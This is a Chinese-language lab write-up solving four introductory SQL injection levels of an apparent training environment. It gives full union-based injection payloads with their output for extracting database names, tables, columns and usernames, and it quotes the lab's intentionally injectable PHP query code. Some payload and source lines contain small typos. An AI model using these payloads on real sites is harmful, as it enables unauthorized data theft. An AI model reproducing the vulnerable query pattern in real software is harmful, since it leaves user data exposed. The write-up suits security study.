

关于自己对 sqlmap 中 1 到 4 题的一点小感想

对于第一题来讲，我现在 url 后输入 “?id=1” 得到：

```
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
你的查询语句是：SELECT * FROM users WHERE id='1' LIMIT 0,1
```

可知其 id 参数是通过 GET 方法传递的，改成 “?id=1” 发现报错：

```
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1" at line 1
你的查询语句是：SELECT * FROM users WHERE id='1' LIMIT 0,1
```

通过报错内容可以看到 sql 语句成了 “'1' LIMIT 0,1”，由此可以想到它的 id 传递到 sql 语句内时带了单引号，因此可先在语句后加一个 “%23”（即为 “#”）来把后单引号注释掉，然后再在中间用 order by 试一下有多少个列。

在 url 后输入 “?id=1' order by A %23” 其中 A 代表一个整数，当 A=1,2,3 时均不会报错，当 A=4 时会出现报错：

```
Welcome Dhakkan
Unknown column '4' in 'order clause'
你的查询语句是：SELECT * FROM users WHERE id='1' order by 4 # LIMIT 0,1
```

说明该数据表一共有三列，此时使用联合查询，输入 “?id=1' union select 1,2,3 %23”，出现：

```
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
你的查询语句是：SELECT * FROM users WHERE id='1' union select 1,2,3 # LIMIT 0,1
```

并没有预期的效果，仔细考虑发现是因为 id=1 时的对应数据传递到了对应位置，因此我们只需要让 id 等于一个不存在的数值（比如 0, -1, -2...）便可以使 select 之后的数字显示出来。我选用 -1 作为 id 的数值，即 “?id=-1' union select 1,2,3 %23”，发现：

```
Welcome Dhakkan
Your Login name:2
Your Password:3
你的查询语句是：SELECT * FROM users WHERE id='-1' union select 1,2,3 # LIMIT 0,1
```

2 和 3 的数值显现了出来说明我们可以在数字 2 和 3 的位置进行相关查询，即可以用 database()（数据库名），user()（用户），version()（数据库版本），

@@datadir（数据库的本地根文件地址），@@version_compile_os（操作系统）等来对 2 和 3 的位置进行替换，比如这里需要 database()，我用 3 进行替换，即 “?id=-1' union select 1,2,database() %23” ，得到：

```
Welcome Dhakkan
Your Login name:2
Your Password:security
你的查询语句是：SELECT * FROM users WHERE id=-1' union select 1,2,database() # LIMIT 0,1
```

可以发现原先 3 的位置被替换成了该数据库的名称。

这里补充我查到的一点，可以使用一个函数 concat_ws，它可以在一个位置显示多条信息，比如可以只在 3 的位置同时显示用户，数据库版本，数据库的根文件地址，即 “?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),version(),@@datadir) %23” 其中 “char(32,58,32)” 表示中间用 “空格：空格” 间隔：

```
Welcome Dhakkan
Your Login name:2
Your Password:root@localhost : 5.5.27 : C:\ProgramData\MySQL\MySQL Server 5.5\Data\
你的查询语句是：SELECT * FROM users WHERE id=-1' union select 1,2,concat_ws(char(32,58,32),user(),version(),@@datadir) # LIMIT 0,1
```

现在已经知道了数据库名为 “security”，可以进行下一步：要得知在这一库名下的表名，这时要用到一个函数 group_concat，它可以把得到的信息在一行内全部显示出来，这时候会用到 information_schema 这一库名，这个库作为 mysql 的通用库，它的下面有两个比较有用的数据表 tables 和 columns，分别储存了该 mysql 下的所有表名和列名，其中 table 下有一个列叫 table_name，里面储存了所有 table 的名称，还有一个列叫 table_schema，里面储存了该表所对应的数据库名称，因此可以构建语句：

“?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23” ，注：如果字符串被过滤可以用 0x7365637572697479（security 的 16 进制）得到：

```
Welcome Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users
你的查询语句是：SELECT * FROM users WHERE id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' # LIMIT 0,1
```

到此，可知数据库 “security” 下共有四个数据表，这里应该需要 “users” 这个表，同样也是这个方法，把搜索范围向下逐级递减一层，即构建语句：“?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23” 其中 column_name 表示列名称，table_name 表示该列所在的表名称，得到：

```
Welcome Dhakkan
Your Login name:2
Your Password:id,username,password
你的查询语句是：SELECT * FROM users WHERE id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' # LIMIT 0,1
```

到此，可知数据表 “users” 下一共有三列，在逐级递减查看 username 的内容，此时已经知道了数据库名 “security”，数据表名 “users” 和要查询的列名

“username”，便可以直接进行联合查询，构建语句：“?id=-1' union select 1,2,group_concat(username) from security.users %23” ，得到：

```
Welcome Dhakkan
Your Login name:2
Your Password:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
你的查询语句是: SELECT * FROM users WHERE id=-1' union select 1,2,group_concat(username) from security.users # LIMIT 0,1
```

到此，我们即通过 sql 注入的联合查询成功得到了用户名，得到密码的语句只需把列名 username 替换为 password 即可。

第一题的 sql 语句部分源码：

```
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' . $row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
```

第二题的 sql 语句部分源码：

```
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' . $row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
```

可以看到相比于第一题少了单引号，因此把语句中的“'”去掉，其余和第一题相同。

即为：“?id=-1 union select 1,2,group_concat(username) from security.users%23”

第三题的 sql 语句部分源码:

```
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' . $row['password'];
    echo "</font>";
}
else
{
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";
}
```

可以看到相比于第一题相比多了圆括号, 因此只需在语句中的“'”之后加上“)”, 其余和第一题相同。

即为: “?id=-1') union select 1,2,group_concat(username) from security.users%23”

第四题的 sql 语句部分源码:

```
$id = '' . $id . '';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' . $row['password'];
    echo "</font>";
}
else
{
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";
}
```

可以看到相比于第一题相比多了圆括号, 并且把单引号改为了双引号(在最初赋值时)。

即为: “?id=-1") union select 1,2,group_concat(username) from security.users%23”